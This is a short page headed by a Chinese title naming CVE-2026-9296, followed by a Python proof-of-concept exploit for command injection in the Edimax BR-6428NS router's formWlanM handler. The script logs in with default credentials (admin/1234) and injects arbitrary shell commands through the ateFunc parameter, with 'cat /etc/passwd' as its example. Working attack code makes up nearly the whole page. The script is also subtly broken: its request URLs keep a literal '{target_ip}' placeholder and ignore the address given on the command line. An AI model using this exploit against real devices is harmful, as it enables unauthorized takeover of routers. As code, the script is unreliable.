CVE-2026-9296 Edimax BR-6428NS formWlanM命令注入漏洞

#!/usr/bin/env python3 """ CVE-2026-9296 PoC - Edimax BR-6428NS Command Injection Affected: Edimax BR-6428NS 1.10 Reference: https://vuldb.com/cve/CVE-2026-9296 """ import requests import sys TARGET = "http://{target_ip}" # Replace with target IP LOGIN_URL = f"{TARGET}/login.cgi" EXPLOIT_URL = f"{TARGET}/goform/formWlanM" def login(session, username, password): """Authenticate to the router web interface""" data = { "username": username, "password": password } response = session.post(LOGIN_URL, data=data, timeout=10) return response.status_code == 200 def exploit_command_injection(session, cmd): """ Inject command via formWlanM parameters Vulnerable parameters: ateFunc, ateGain, ateTxCount, etc. """ # Encode command for injection injected_cmd = f";{cmd}#" # Payload using ateFunc parameter (can also use other vulnerable params) payload = { "ateFunc": injected_cmd, "submit-url": "/formWlanM.asp" } try: response = session.post(EXPLOIT_URL, data=payload, timeout=10) return response.status_code == 200 except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def main(): if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <command>") print(f"Example: {sys.argv[0]} 192.168.1.1 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] command = sys.argv[2] target = f"http://{target_ip}" session = requests.Session() # Default credentials for Edimax routers username = "admin" password = "1234" print(f"[*] Target: {target}") print(f"[*] Attempting login with default credentials...") if login(session, username, password): print("[+] Login successful") else: print("[-] Login failed, trying without authentication...") print(f"[*] Injecting command: {command}") if exploit_command_injection(session, command): print("[+] Exploit sent successfully") else: print("[-] Exploit failed") if __name__ == "__main__": main()